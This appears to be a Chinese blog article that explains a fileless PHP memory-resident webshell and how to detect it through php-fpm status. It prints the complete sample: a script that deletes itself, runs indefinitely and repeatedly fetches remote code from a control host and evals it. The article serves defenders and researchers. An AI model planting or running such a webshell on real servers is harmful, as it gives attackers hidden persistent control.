网络安全渗透测试【免费下载链接】webshellThis is a webshell open source project项目地址https://gitcode.com/gh_mirrors/we/webshell点击查看免费下载导读本文以仓库 php/MemShellForPHP 目录下的文档与源码为核心系统讲解一种特殊的 PHP 内存驻留 WebShell脚本在执行后立即删除自身文件、常驻于 PHP 进程内存中通过循环拉取远程指令实现持续控制做到无文件残留。文章将完整还原其攻击原理ignore_user_abort、set_time_limit、unlink三大关键函数的配合、给出可复现的完整代码并深入解读基于 php-fpm status 的两类检测方案。读完本文你将掌握这种内存马的构造思路、运行机制以及在实际环境中定位与处置它的具体手段。一、攻击原理执行后自删除驻留内存普通的 PHP WebShell 以文件形式存在于 Web 目录中极易被文件扫描、日志审计、HIDS 发现。而 PHP 内存驻留 WebShell 的核心思路是让恶意脚本在首次执行时删除自身文件随后依靠 PHP 进程常驻内存的特性持续运行。由于恶意代码不再对应磁盘上的任何文件传统基于文件的查杀手段将完全失效最终效果是马在内存中磁盘无残留。该思路主要依赖以下两个 PHP 运行时函数完整实现见 php/MemShellForPHP/memWebshell.php1.ignore_user_abort(true)让脚本脱离客户端连接而继续运行ignore_user_abort(true); // 后台运行这个函数的作用是指示服务器端在远程客户端关闭连接后是否继续执行下面的脚本。设置为true时即使客户端攻击者的浏览器或工具主动断开连接PHP 脚本依然会在服务器后台继续执行完毕不会被中断。这是内存马得以常驻的前提——否则客户端一断脚本运行也随之终止。2.set_time_limit(0)取消脚本执行时间的超时上限set_time_limit(0); // 取消脚本运行时间的超时上限括号内的数字是允许脚本执行的最长时间秒。如果传0表示永久执行直到程序结束如果传入大于 0 的数字则无论程序是否执行完成到达设定秒数后程序都会被强制结束。需要特别说明的是脚本也可能被内置的脚本计时器中断。PHP 默认的超时限制为 30 秒该值可以通过以下三种途径调整修改php.ini中的max_execution_time配置项在 Apache 的.conf配置中设置对应的php_value max_execution_time参数在脚本内调用set_time_limit()函数。对于内存马而言set_time_limit(0)是必须的一步只有解除超时限制后续的无限循环拉取指令才能持续进行。3.unlink($_SERVER[SCRIPT_FILENAME])删除自身文件unlink($_SERVER[SCRIPT_FILENAME]);$_SERVER[SCRIPT_FILENAME]返回当前执行脚本的绝对文件路径unlink()用于删除该文件从而实现执行后自毁。但unlink的运行条件较为苛刻该脚本需要具备可执行权限且运行用户具备修改/删除该文件所在目录写权限的权限时方能执行成功。因此在真实场景中攻击者通常会先调用chmod将文件权限放开再删除见下文完整代码。二、完整实现一次请求永续控制仓库 php/MemShellForPHP/memWebshell.php 给出了完整的可运行样本?php chmod($_SERVER[SCRIPT_FILENAME], 0777); unlink($_SERVER[SCRIPT_FILENAME]); ignore_user_abort(true); set_time_limit(0); echo success; $remote_file http://10.211.55.2/111/test.txt; while($code file_get_contents($remote_file)){ eval($code); echo xunhuan; sleep(5); }; ?该脚本的执行流程可以拆解为六个步骤放开权限chmod($_SERVER[SCRIPT_FILENAME], 0777)先将当前文件权限修改为 0777确保后续unlink能够成功删除自身unlink($_SERVER[SCRIPT_FILENAME])删除磁盘上的脚本文件实现无文件残留脱离客户端ignore_user_abort(true)让脚本在攻击者断开连接后继续在服务器后台运行解除超时set_time_limit(0)让脚本可以无限期运行输出标记echo success返回执行成功信号便于攻击者确认马已植入循环取码执行进入while死循环每 5 秒sleep(5)通过file_get_contents从远端 URL 拉取一次指令代码并交给eval($code)执行。符号用于抑制执行报错避免异常信息暴露到页面或日志。控制端内容test.txt攻击者将待执行的 PHP 代码放到远端服务器上作为指令下发源。仓库中的 php/MemShellForPHP/test.txt 即是一个最简单的指令示例file_put_contents(printTime.txt,jweny .time());该指令的效果是在 WebShell 所在目录生成printTime.txt文件并写入jweny 当前时间戳。由于主循环每 5 秒执行一次eval因此printTime.txt会每 5 秒被写入一次新的时间戳——这既是验证内存马是否存活的最直观手段也揭示了其心跳行为特征。从控制架构看这是一个典型的C2 指令轮询polling模型内存马充当常驻 Agent不断向控制端拉取指令并执行。控制端可以随时更新test.txt的内容来切换攻击载荷例如反弹 Shell、拖库、提权等整个过程无需重新上传 WebShell 文件隐蔽性极强。三、检测方案基于 php-fpm status 的进程级排查由于内存马不落盘文件层检测失效检测思路必须转向运行时进程层。原文档给出的检测方案建立在获取php-fpm status的基础上核心检查点有两个检查点 1检查所有 PHP 进程处理请求的持续时间php-fpm 的status接口会暴露每个 worker 进程当前正在处理的请求信息包括请求的开始时间、持续时间等。内存马在set_time_limit(0)与while循环的加持下单个请求会长期处于处理中状态其持续时间会远超正常请求正常 PHP 请求通常在毫秒到秒级完成而内存马可长达数小时甚至数天。因此若发现某个 php-fpm worker 的请求持续时间异常漫长且持续增长应高度怀疑存在内存驻留型 WebShell正常业务请求若出现长时间挂起通常是慢查询、死循环或外部调用阻塞可通过持续观测与业务日志交叉验证排除。检查点 2检测执行文件是否在文件系统真实存在内存马在unlink之后其对应文件已从磁盘删除。此时通过 php-fpm status 看到的当前执行脚本路径将指向一个磁盘上不存在的文件。检测逻辑为从 php-fpm status 中提取每个 worker 正在执行的脚本路径逐一与文件系统比对检查该路径是否真实存在凡是进程仍在执行、但对应文件已不存在的请求即为内存马的强特征。这一检测思路的精髓在于正常请求的脚本文件在执行期间必然存在于磁盘而内存马恰恰违背了这一常规形成执行中却无文件的异常状态从而可以被程序化识别。检测方案落地要点需要确保 php-fpm 已开启 status 接口配置pm.status_path或借助php-fpm进程的/proc/pid信息进行辅助分析两个检查点应组合使用单一检查可能存在误报如文件刚被清理的合法请求两者同时命中时可信度显著提升检测应尽量自动化、周期性执行因为内存马可能随时更新指令、改变行为特征。四、延伸思考与 Java 内存马的异同内存马并非 PHP 专属概念。本仓库还收录了 Java 体系的内存马研究例如 jsp/WebSocket 内存马一种新型内存马技术.md 与 wsMemShell 项目它们通过向 Tomcat/Spring 等容器动态注入 Endpoint/Filter/Servlet实现命令执行同样做到无文件化。两者对比可更清晰地理解本主题的定位维度PHP 内存驻留 WebShellJava WebSocket 内存马载体单个 PHP 文件执行后自删注入容器运行时的类/Endpoint驻留方式依赖 PHP 进程常驻 无限循环依赖 Servlet 容器生命周期指令获取HTTP 轮询拉取远端代码WebSocket 全双工长连接检测难点无文件残留、请求长期挂起无新增 Listener/Servlet/Filter常规扫描器难发现两者殊途同归对抗的焦点都从文件是否存在转向进程/内存中是否有异常活动这也正是检测方案必须下沉到运行时层面的根本原因。五、小结PHP 内存驻留 WebShellphp/MemShellForPHP通过chmodunlink实现自删除、ignore_user_abort(true)实现后台常驻、set_time_limit(0)解除超时限制、while file_get_contents eval实现远程指令轮询构建了一个完全无文件残留的持久化控制通道。其防御关键在于放弃纯文件查杀思路转向基于 php-fpm status 的进程级检测发现长期挂起的请求、识别执行中但文件已不存在的异常路径。本文所有代码与文档均可在仓库中直接查阅复现memWebshell.php、test.txt、readme.md供安全研究与防御实战参考。赞分享网络安全渗透测试【免费下载链接】webshellThis is a webshell open source project项目地址https://gitcode.com/gh_mirrors/we/webshell点击查看免费下载相关推荐MAS 激活脚本完整指南:4 步激活 Windows 11 与 Office,四套方案一次选清MAS 激活脚本完整指南:4 步激活 Windows 11 与 Office,四套方案一次选清 刚装好的 Windows 11,右下角挂着灰色未激活水印,右网络安全渗透测试webshell 仓库中的 PHP 反射后门基于 ReflectionFunction 的一句话木马原理与实战利用webshell 仓库中的 PHP 反射后门基于 ReflectionFunction 的一句话木马原理与实战利用 本文基于 php/p2j/Readme.m网络安全渗透测试COLDSTEEL 远控木马检测指南基于 Sigma 规则的 Windows 持久化与驻留行为猎捕方案COLDSTEEL 远控木马检测指南基于 Sigma 规则的 Windows 持久化与驻留行为猎捕方案 COLDSTEEL 是一款针对 Windows 平台的网络安全应用安全上一篇终极解决方案3步修复群晖DSM 7.2.2 Video Station不兼容问题下一篇Windows AirPlay 2投屏终极实战3步构建跨平台屏幕镜像系统创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
企业数字化 ERP 产品动态
相关推荐
10分钟跑通大麦抢票脚本:从克隆到空跑只需6条命令 10分钟跑通大麦抢票脚本:从克隆到空跑只需6条命令 【免费下载链接】ticket-purchase 大麦自动抢票,支持人员、城市、日期场次、价格选择 项目地址: https://gitcode.com/GitHub_Trending/ti/ticket-purchase
开票瞬间,"已抢完&qu… · 2026/9/24 16:27:34
周报9.23 本周完成项目立项书与需求文档的修改,上课演讲了自己的需求文档与不足的地方、理清项目整体业务逻辑,接下来重点推进原型设计,把文档的需求落地可实现化。对于国庆之后的安排进一步完善业务流程实地考察各个地方的发展,物资捐赠的… · 2026/9/24 16:27:34
Dart Analysis Server 重构(Refactor)设计指南:三种类型、语义保持准则与代码生成规范 编程语言编译器语言运行时标准库开发工具 【免费下载链接】sdk The Dart SDK, including the VM, JS and Wasm compilers, analysis, core libraries, and more. 项目地址: https://gitcode.com/gh_mirrors/sdk1/sdk 点击查看 免费下载 本文档是 Dart Analysis Ser… · 2026/9/24 16:27:34
【Dify】火车票发票自动识别与智能比对应用 自动化发票识别与核查已成为数字化财务管理的关键一环,特别是在海量火车票数据处理中,传统手工方式难以兼顾效率与准确性。
本文介绍基于深度学习模型与智能节点协作的火车票发票比对工作流,涵盖从图片导入、图像优化到信息提取和比对输出的全流程,适合实际企业和个人票据… · 2026/9/24 17:05:08
【Dify】智能体驱动的高效智能客服应用 智能客服在互联网服务与健康管理领域快速普及,自动化、个性化的用户响应成为应用升级的核心需求。依托多智能体协作和大模型赋能,智能客服已具备文本、图片等多模态信息处理能力,并支持细致化问题分类与定制化回复。
本文聚焦于一套以Dify为核心的智能客服工作流,展示其节… · 2026/9/24 17:05:08
WeChatMsg:免费开源,五分钟把微信聊天记录导出成文档,顺带生成年度报告 WeChatMsg:免费开源,五分钟把微信聊天记录导出成文档,顺带生成年度报告 【免费下载链接】WeChatMsg 提取微信聊天记录,将其导出成HTML、Word、CSV文档永久保存,对聊天记录进行分析生成年度聊天报告 项目地址: https:… · 2026/9/24 17:04:55
RT-Thread 在先楫 HPM6P00EVK(RISC-V 双核)上的 BSP 移植与快速上手实战指南 操作系统嵌入式物联网嵌入式OSRTOS 【免费下载链接】rt-thread RT-Thread is an open source IoT Real-Time Operating System (RTOS). https://rt-thread.github.io/rt-thread/ 项目地址: https://gitcode.com/gh_mirrors/rt/rt-thread 点击查看 免费下载 本篇技术… · 2026/9/24 17:04:55
【Dify】YouTube全自动内容生成与多平台分发应用 自媒体视频内容的生产和分发,已成为内容创业与个人品牌塑造的重要途径。高效的视频自动化处理工具,能够显著提升内容制作与运营的效率。
本文聚焦于YouTube及多平台自媒体场景,介绍一个覆盖从素材导入、音频转写、语义分析、文案生成、分段整理到成品分发的全流程工作流。通… · 2026/9/24 17:04:43
基于YOLOv8的渔船作业监控系统:从环境搭建到边缘部署全流程 简介:这是一套面向计算机、人工智能、自动化等专业学生与教师的毕业设计级项目资源,围绕YOLOv8实现渔船作业监控系统,可用于毕设、课程设计、大作业或项目立项演示。压缩包共97个文件,约24.21MB,以70个Python源码文件为… · 2026/9/24 0:00:13
1D-CNN时间序列建模实战:从Conv1d原理到工业落地 简介:面向时间序列数据建模的一维卷积神经网络完整实现,适合深度学习入门者及需要快速验证时序模型的研究者,能够从音频、文本、传感器或股价等序列中挖掘局部特征与时间依赖。压缩包体积很小,只有3KB,内含3个Python脚… · 2026/9/24 0:00:26
柔软的L:汉语语流中被忽视的舌肌张力控制 1. 这个“L”不是字母表里的L,而是舌尖上的L最近在几个方言群和语音教学社群里,反复看到有人发一句:“也说字母L:柔软的长舌”。初看以为是英语发音课笔记,点开才发现全是方言爱好者、播音系学生、语言康复师甚至戏曲演… · 2026/9/24 0:00:44